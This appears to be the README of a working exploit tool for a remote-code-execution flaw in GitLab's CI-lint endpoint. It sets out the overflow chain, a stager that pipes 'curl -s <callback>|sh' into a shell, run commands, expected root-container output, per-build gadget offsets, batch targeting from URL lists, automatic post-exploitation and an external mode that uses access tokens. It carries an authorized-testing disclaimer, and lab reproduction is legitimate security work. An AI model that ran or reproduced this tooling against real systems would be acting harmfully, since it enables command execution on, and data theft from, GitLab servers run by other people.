
CVE-2026-97229 GitLab CI lint regex integer overflow RCE — InstaBox version matrix reproduction & libruby gadget reverse engineering
Authorized testing only. Use this against systems you own or are explicitly authorized to test (bug-bounty scope, client engagement, your own lab). Unauthorized use is illegal.
An unauthenticated CI-lint request that corrupts the Onigmo matcher and redirects execution to a
system() gadget inside libruby.so:
GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
→ include.rules.exists.regexp compiles a crafted pattern
→ a 57k-repeat drives the matcher into a ~2 GiB expansion
→ the write lands past the allocation and redirects the VM frame
→ mov r14,rdi; call system@plt runs a 28-byte stager
→ curl -s <callback>|sh → uid=998(git)
The final request is unauthenticated, but planting the malicious CI config requires write access to a public project (or an instance that allows self-registration and public projects).
| Item | Value |
|---|---|
| Affected (tested) | 19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1 |
| Not exploitable | 19.2.8, 19.3.4 (outlier, see below), 19.3.5, 19.4.2; 19.2.3 has no CE image |
| Trigger | unauthenticated GET /api/v4/projects/:id/ci/lint |
| Prerequisites | reachability + write to a public project (token, compromised account, or open sign-up) |
| Impact | command execution as git (uid 998) inside the GitLab container |
| PoC constraints | x86_64 builds; layout is per-libruby.so build, not per version string |
| Advisory boundary | 19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2 |
19.3.4 is listed as affected by the advisory but its bundled
libruby.sonever enters the vulnerable expansion path — we could not weaponize it (repro/evidence/2026-10-18-full-matrix/).
./lab/run.sh 19.4.1 # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1
Expected last line:
{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
"output":"uid=998(git) gid=998(git) groups=998(git)\n..."}
No cloud account and no SSH: the lab is plain Docker (local daemon, DOCKER_HOST, or a docker context).
On Docker Desktop add --callback-host host.docker.internal.
include.rules.exists.regexp plus a 110-byte repository path.{5(?#)7805} so the Rails-side repeat guard (REPEAT_MAX=1000) does not see it.call instruction and the offset of system@plt, redirecting the VM.curl -s <callback>|sh, giving a shell as the git service user../lab/run.sh 19.4.1 # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081 # second version on another port
The launcher applies the memory settings the exploit needs (sidekiq off, one Puma worker, small
Postgres buffers, --memory 6.5g --shm-size 256m), waits for the UI and sets the root password.
See lab/README.md / lab/README_CN.md.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
| Field | Meaning |
|---|---|
http | status of GET /users/sign_in |
version | GitLab version read from the container (null without container access) |
class | advisory classification: affected / patched / not-listed / unknown |
libruby_md5 | build identity of the target container's libruby.so |
layout | finish / gadget / step (only when the build is known or derivable) |
exploitable | whether a layout is available; class=affected does not imply this |
layout_source | table, derived, or no-overflow-in-build |
class: "unknown" simply means no container/version information was available — for a URL-only target
the tool cannot classify or derive a layout. See “External targets” below.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
--command 'id; hostname; uname -a'
Success criterion: lint is dropped(HTTPError) or http(502) and output starts with
uid=998(git). A 200 with valid:true means the build is not vulnerable.
| Line | Exploitable | Patched / not exploitable |
|---|---|---|
| 19.2.x | 19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.7 | 19.2.8; 19.2.3 has no CE image |
| 19.3.x | 19.3.0–19.3.3 | 19.3.4 (matcher never expands), 19.3.5 |
| 19.4.x | 19.4.0, 19.4.1 | 19.4.2 |
Per-build evidence: repro/evidence/2026-10-18-full-matrix/
(中文).
# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080
# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1
# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,
container is required for the current exploit path (libruby/layout + rails runner); layout is an
optional override for builds the tool cannot read.
python3 exploit/cve97229.py --targets targets.txt --json-out run.json
For each target, in order: probe → exploit → on RCE post-exploitation
(exploit/post/collect.sh; override with --post-command-file, disable with --no-post).
--probe-only stops after fingerprinting. Exit code 0 if any target gave RCE.
The payload needs three per-build constants (finish, system@plt gadget, UTF-8 step). Resolution order:
layout (0x… 0x… 12345);libruby.so via exploit/layout.py.All known vulnerable builds use only two layouts: 0x486DA9/0x31EE29/1249885 and
0x4885A9/0x31E809/1256138.
--mode external needs only HTTP and a PAT (api scope): it creates a public project over the API,
pushes with oauth2:<token>, fires the unauthenticated lint, and removes the project afterwards.
python3 exploit/cve97229.py --mode external --targets scope.csv \
--token glpat-... --scope scope.txt --authorized \
--callback-host 203.0.113.10 --callback-port 80